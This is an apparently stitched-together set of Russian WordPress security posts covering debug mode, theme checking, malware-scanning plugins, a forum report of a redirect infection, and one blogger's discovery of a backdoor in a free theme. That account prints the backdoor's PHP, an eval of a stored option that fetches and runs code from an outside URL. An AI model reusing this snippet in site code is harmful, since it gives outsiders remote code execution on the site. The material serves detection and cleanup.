Как проверить тему wordpress на вирусы. Как удалить вирус или вредоносный код из WordPress? Как обнаружить вредоносный код, вшитый в сам WordPress

Всем привет! Время не стоит на месте и каждый раз после очередного в ядре появляются новые функции. Если раньше большинство нестандартных на тот момент задач приходилось реализовывать с помощью дополнительного программирования, то сейчас ситуация меняется. Прослеживается четкая тенденция расширения функциональности из коробки.

Оглядываясь на 2010 год, когда я стоял на пороге открытий и впервые знакомился с , вспоминаю с каким трудом мне приходилось делать первые шаги. Для каждой элементарной задачи находил и устанавливал плагины, их общее число могло достигать нескольких десятков! 😮 Затем наступило время переосмысления и стремления к минимализму. В рубрике Оптимизация отражены некоторые аспекты проделанной мною работы по ускорению блога.

Включаем режим отладки WordPress

Шаблон блога с первых дней претерпевал изменения, обрастая новыми функциями, стилями, классами. Набрав критическую массу, он стал неповоротлив — очень сложно поддерживать рабочее состояние и высокую производительность. Невидимые, на первый взгляд, большие изменения произошли в прошлом году — начиная от новой верстки и работы с миниатюрами, заканчивая микроразметкой .

Первым делом после преобразований открыл консоль разработчика в браузере и проверил наличие ошибок и предупреждений. Следующий шаг — отладка WordPress . Режим включается в файле конфигурации wp-config.php, найдите в нем строку:

Define("WP_DEBUG" , false );

и замените значение false на true . Строка должна получить вид:

Define("WP_DEBUG" , true );

При наличии ошибок на месте их появления будет отображено сообщение с описанием проблемы и затронутые файлы. Это могут быть ошибки разбора синтаксиса или устаревшие функции, которые исключены из ядра или заменены на новые.

Предупреждение основано на одном простом факте: сообщение об ошибке содержит абсолютный путь к файлу относительно корневой директории сервера. Сообщение видит не только администратор, а все пользователи. Наглядный пример:

Parse error: syntax error, unexpected ‘endif’ (T_ENDIF) in /u57109403/data/www/site.ru/wp-content/themes/default/index.php on line 23

Как видно из примера, значение u57109403 может являться логином доступа к серверу и злоумышленникам остается только подобрать пароль. Будьте бдительны.

Theme Check — инструмент для тестирования темы WordPress

Помимо встроенной функции WP_DEBUG есть хороший инструмент разработчика, предназначенный для тестирования темы на соответствие современным стандартам Кодекса.

Он реализован в виде плагина Theme Check, который Вы можете загрузить с официальной страницы репозитория.

После активации плагина перейдите на его страницу (Внешний вид — Theme Check). При отключенном режиме отладки Вы увидите сообщение:

WARNING WP_DEBUG is not enabled! Please test your theme with debug enabled before you upload!

Как активировать этот режим я рассказал в первой части статьи. Делать это не обязательно, но очень желательно для полноты анализа. Чтобы запустить проверку нажмите «Check it».

Если в исходном коде файлов своей темы Вы используете кириллицу, тогда будьте готовы встретить в отчете информацию подобного рода:

INFO: Non-printable characters were found in the single.php file. You may want to check this file for errors.

Вы можете отключить показ таких сообщений, поставив галочку напротив «Suppress INFO». Заметка на будущее: при локализации темы используйте специальные файлы перевода ru_RU.po и ru_RU.mo , вместо того чтобы редактировать исходный код, заменяя английские слова на русские.

Плагин Theme Check будет полезен разработчикам тем WordPress и администраторам сайтов. Отчет строится на основе проверки стандартного набора минимальных требований в текущей теме и содержит следующие обозначения:

  • Required — отсутствует необходимая функция, класс или описание;
  • Warning — предупреждения, например, о наличии скрытых файлов;
  • Recommended — рекомендации о возможном применении новых функций;
  • Info — прочие информационные сообщения.

Большинство невыполненных требований подкреплено ссылками на Кодекс с описанием функций и параметров. Впрочем, отчет и без того достаточно информативный. Небольшой фрагмент:

Относиться к результатам проверки нужно с определенной долей осторожности. Не стоит применять абсолютно все рекомендуемые плагином функции — среди них наверняка найдутся те, которые Вы действительно не планируете использовать.

Благодаря режиму отладки и плагину Theme Check мне удалось выявить ряд проблем, причиной которых являлись устаревшие функции . Некоторые доработки в functions.php удалил за ненадобностью или заменил на стандартные решения, которые появились в последних версиях. Рекомендую проверить свои блоги!

Привет друзья. Вы уверены, что бесплатный шаблон WordPress, который вы используете для своих сайтов и блогов действительно безопасный и не содержит скрытых угроз и вредоносного кода? Вы полностью в этом уверены? Абсолютно?)

Думаете, прогнали шаблон через , удалили из него скрытые ссылки, и дело сделано. Файлы сайта сканируете периодически антивирусом, заглядываете в инструменты вебмастера Яндекса во вкладку Безопасность и с облегчением видите там сообщение: «Вредоносный код на сайте не обнаружен «.

Вот и я так думал. Не хотел бы вас расстраивать, но…

Скрытый опасный код в бесплатных шаблонах WordPress

Вот такое письмо я получил на прошлой неделе на почту от своего хостинга. С недавних пор они ввели регулярную проверку всех файлов сайта на поиск вредоносного содержания и таки они это содержание у меня обнаружили!

Началось все с того, что я зашел как-то днем на свой сайт и не смог его запустить — вылезала ругательная надпись про не найденные файлы с расширением php. Немного напрягшись пошел изучать содержимое папки с сайтом на хостинге и сразу же обнаружил проблему — мой файл шаблона fuctions.php был переименован в functions.php.malware что как бы неоднозначно намекало — здесь поработал антивирус или что-то вроде этого) Зайдя на почту я и обнаружил вышеупомянутый отчет от хостера.

Первым делом я конечно же начал проверять данный файл, изучал его содержимое, сканировал всевозможными антивирусами, десятками онлайн сервисов по проверке на вирусы и т.д. — в итоге ничего не обнаружил, все в один голос утверждали что файл совершенно безопасный. Я разумеется выразил свои сомнения хостеру, мол вы чего-то напутали, но на всякий случай попросил их предоставить отчет об обнаружении вредоносного куска кода.

И вот что они мне ответили

Пошел гуглить инфу о данном коде и серьезно задумался…

Как найти фрагмент вредоносного кода в шаблоне

Как оказалось, это действительно нетривиальный прием, который позволяет заинтересованным лицам передавать данные на ваш сайт и изменять содержимое страниц без вашего ведома! Если вы используете бесплатный шаблон, то настоятельно рекомендую проверить свой functions.php на наличие следующего кода :

add_filter(‘the_content’, ‘_bloginfo’, 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option(‘blogoption’))) !== false){
return $co;
} else return $content;
}

Даже с моими весьма неглубокими познаниями в php видно, что создается некий фильтр, привязываемый к глобальной переменной post и content отвечающие за вывод контента только на страницах записей блога (условие is_single). Уже подозрительно не так ли? Ну а теперь посмотрим что же такого собирается выводить данный код у нас на сайте.

Интересная опция blogoption запрашиваемая в базе данных так же выглядит весьма подозрительной. Заходим в нашу базу данных MySQL и находим там таблицу под названием wp_options, если вы не меняли префиксы то она так будет выглядеть по умолчанию. И в ней находим заинтересовавшую нас строку под названием blogoption

Какая красота! Мы видим следующую опцию


return eval(file_get_contents(‘http://wpru.ru/aksimet.php?id=’.$post->ID.’&m=47&n’));

Т.е. нам с некого сайта (причем русского заметьте) возвращают содержимое, которое может нести в себе все что угодно! Любое количество ссылок, вредоносные коды, измененный текст и т.д. Сам сайт при заходе на него выдает 403 ошибку доступа, что не удивительно. Разумеется данную опцию я тоже удалил из БД.

По информации от пострадавших обычно возвращается точно такое содержимое вашей статьи с одной лишь модификацией — вместо какой-либо точки «.» в текст маскировалась открытая ссылка! И кстати, данная опция записывается в базу данных при установке самого шаблона, а затем код, который это делает благополучно самоуничтожается. И вот с такой дрянью я жил два года, и ни один антивирус или сервис мне так и не выявил данную угрозу за все то время. Честно говоря я не замечал, срабатывал ли когда-нибудь со мной такой прием, или же эту возможность блокировал мой плагин безопасности (а может одно из обновлений WordPressa закрыло эту дыру), но все равно неприятно.

Мораль про бесплатный сыр

Как вам изощренность наших «переводчиков» шаблонов (или тех кто выкладывает их у себя в каталогах)? Это вам не ссылки из футера выпиливать) Жалко я уже не помню, откуда я скачивал свой шаблон, давно это было, а то бы обязательно пару ласковых написал. И если бы на тот момент обладал тем же опытом, что имею сейчас, то однозначно не пользовался бы бесплатным шаблоном, или на крайний случай не качал бы с неизвестных источников!

Проще купить какой-нибудь официальный премиум шаблон за 15-20 баксов на том же и жить спокойно, зная что в нем нет дырок и зашифрованных ссылок, а если даже и найдутся уязвимости, то разработчики обязательно выпустят обновление, в котором эти дырки закроют. (У Артема кстати недавно вышла статья, где он как раз про премиум шаблоны рассказывает и даже раздает промокоды на зверские скидки, кому интересно )

Где есть сайт, там могут быть и вирусы. Эта нехитрая истина не позволяет расслабляться и требует постоянного контроля за «здоровьем» сайта. Сайты WordPress не исключение, а если принять во внимание популярность CMS WordPress, то понятно почему заражения этих сайтов происходят чаще сайтов других систем. Для антивирусной проверки сайтов есть масса инструментов. В этой статье я расскажу об отличном борце с вирусами для сайтов WordPress – плагине AntiVirus, как найти и удалить вирус на WordPress плагином Antivirus.

Что мы понимаем под вирусом на сайте

Под вирусом на сайте подразумевается любая сторонняя программа, которая принуждает работать сайт, не так как заложено в программах системы. Под определение вирус попадают:

  • , занесенные на сайт;
  • Зашифрованные исполнительные функции, попадающее, на сайт с плагинами и темами;
  • Любые php скрипты и Java коды, совершающие действия, которые не известны владельцу сайта.

Результаты действия вирусов на сайте могут быть самые разнообразные:

  • Ссылки на сторонние ресурсы;
  • Автоматический редирект на чужие ресурсы;
  • Считывание новых публикаций и дублирующая публикация их на сторонних ресурсах;
  • Несанкционированная реклама на сайте;
  • Разрушение кода сайта и как результат падение сайта.
Установка и настройка плагина Antivirus

Отличный инструмент для проверки сайта на наличии вирусов является плагин Antivirus . У плагина более 90000+ скачиваний, последнее тестирование на версии WordPress 4.6.11.

Установить плагин можно из консоли сайта, на вкладке Плагины→Добавить новый, воспользовавшись формой поиска плагинов по названию.

Установка плагина Antivirus из административной панели

Как удалить вирус на WordPress плагином Antivirus

Важно! Перед работой с плагином .

Работает плагин без премудростей. Через Настройка→AntiVirus или Плагины→AntiVirus →Настройка входим на страницу активированного плагина.

Жмем «Scan the theme templates » и видим результат проверки. Все каталоги рабочей темы отразятся на странице. Зеленый цвет означает отсутствие вирусов, красный цвет скажет о заражении.


Запуск сканирования плагином AntiVirus

Часто наши пользователи задают вопрос, существует ли способ проверить свой сайт на WordPress на наличие потенциально опасного кода. Ответ на этот вопрос: ДА, ДА и еще раз ДА. Существуют как платные так и бесплатные инструменты для сканирования вашего сайта WordPress на наличие потенциально опасного или нежелательного кода. Всегда полезно делать регулярные проверки вашего сайта путем сканирования на вредоносный код. В этой статье мы покажем вам несколько способов сканирования ваш сайт на WordPress на потенциально опасный код.

Theme Authenticity Checker (TAC)

Theme Authenticity Checker — это бесплатный плагин, который проверит все ваши темы WordPress на наличие потенциально опасного или нежелательного кода.

Часто взломщики ставят целью взлом именно тем с целью внедрения туда ссылок, поэтому плагин — это замечательный способ проверки на их наличие.

Exploit Scanner

Exploit Scanner — другой бесплатный плагин WordPress, более мощный нежели Theme Authenticity Checker, так как позволяет осуществлять поиск вредоносного кода по всем файлам и базе данных вашей копии WordPress. Он ищет сигнатуры, соответствующие вредоносному коду и выявляет их.
Примечание: возможно определенное количество ложных срабатываний, поэтому необходимо понимать что вы делаете, и определить действительно ли это вредонос или же всё в порядке.

Sucuri

Sucuri — один из САМЫХ лучших сканеров безопасности для WordPress вообще. У них есть простой бесплатный сканер сайтов, который проверяет ваш ресурс на предмет все ли с ним в порядке. Однако платная версия намного превосходит фри по своим возможностям. Вкратце, после того, как вы установите Sucuri, он автоматически мониторит ваш сайт 24 часа в сутки 7 дней в неделю на предмет вредоносных скриптов. Он проводит аудит активности на всем сайте, чтобы вовремя сообщить, если что-либо пойдет не так. Если что-то кажется подозрительным, Sucuri блокирует IP. Также плагин отправляет вам уведомление, если на сайте начинается какая-то подозрительная активность. И, наконец, плагин предлагает чистку от вредоносного кода, и эта услуга включена в цену сервиса (вне зависимости от того, большой ваш сайт или маленький).

Для наших проектов мы выбрали тариф для 5 сайтов, что обходится около $3 за сайт в месяц. Имеет смысл заплатить $3 в месяц и не беспокоится о безопасности сайта.

Кстати, сервис не только для новичков. Большие издательства типа CNN, USAToday, PC World, TechCrunch, TheNextWeb и другие пользуются услугами Sucuri. Эти парни знают, что делают, и поэтому люди доверяют им свои сайты.

По всем вопросам и отзывам просьба писать в комментарии ниже.

Не забывайте, по возможности, оценивать понравившиеся записи количеством звездочек на ваше усмотрение.

    Доброго времени, понимающие.
    Вчера появилась проблема с shopfilters.ru и его поддоменом aquaphor.shopfilters.ru (оба на одной БД), а именно: странный вредоносный код. Проявляет себя так:
    1. Отключилась возможность обновлять и устанавливать плагины, ядро и т.п.
    2. Жуткие тормоза в админ-панели.
    3. На этом глюки, видимые админу закончились. Ниже описаны проблемы, наблюдаемые пользователями customer, причем только если он посещает сайт из сети, из которой не заходил админ.
    4. При нажатии на меню, логотип и т.п. включается редирект на казино, тотализаторы и т.п.

    Какие шаги были предприняты до появления проблемы:
    1. Установил плагины: ATUM Inventory Management for WooCommerce, Woomage Store Manager WooCommerce API, Smart Store Manager For Your WooCommerce Shop, Store Manager Connector, все с wordpress.org, к последнему скачал триал api-приложение для мониторинга склада с пк.
    2. За пару дней до этого установил Smart Store Manager For Your WooCommerce Shop со стороннего ресурса, предварительно проверив его касперским и докторвэбом, обычную версию, но он адски тормозил. Его снес, и поставил, как уже сказано, с wordpress.org.

    Вчера вечером знакомый сообщил о появившейся проблеме.

    Какие шаги были предприняты после появления проблемы:
    1. Отключил все недавно установленные плагины на обоих сайтах — не помогло
    2. Тоже сделал с темами — не помогло
    3. Проверил сервисами: http://sitecheck.sucuri.net/ :

    Website: shopfilters.ru
    Status: Infected With Malware. Immediate Action is Required.
    Web Trust: Not Currently Blacklisted (10 Blacklists Checked)
    Scan Result Severity Recommendation
    Malware Detected Critical GET YOUR SITE CLEANED
    ISSUE DETECTED DEFINITION INFECTED URL
    http://shopfilters.ru/404javascript.js (View Payload)
    Website Malware rogueads.unwanted_ads?1 http://shopfilters.ru/dostavka/ (View Payload)
    Website Malware rogueads.unwanted_ads?1 http://shopfilters.ru/my-account/ (View Payload)
    Website Malware rogueads.unwanted_ads?1 http://shopfilters.ru (View Payload)
    Known javascript malware. Details: http://labs.sucuri.net/db/malware/rogueads.unwanted_ads?1

    Постоянная ссылка на отчет https://rescan.pro/result.php?
    Опасный код на странице ✔ Проблем не обнаружено
    Вирусы в скриптах ✔ Проблем не обнаружено
    Вставки с опасных сайтов ✖

    http://go.oclasrv.com/apu.php?zoneid=1488199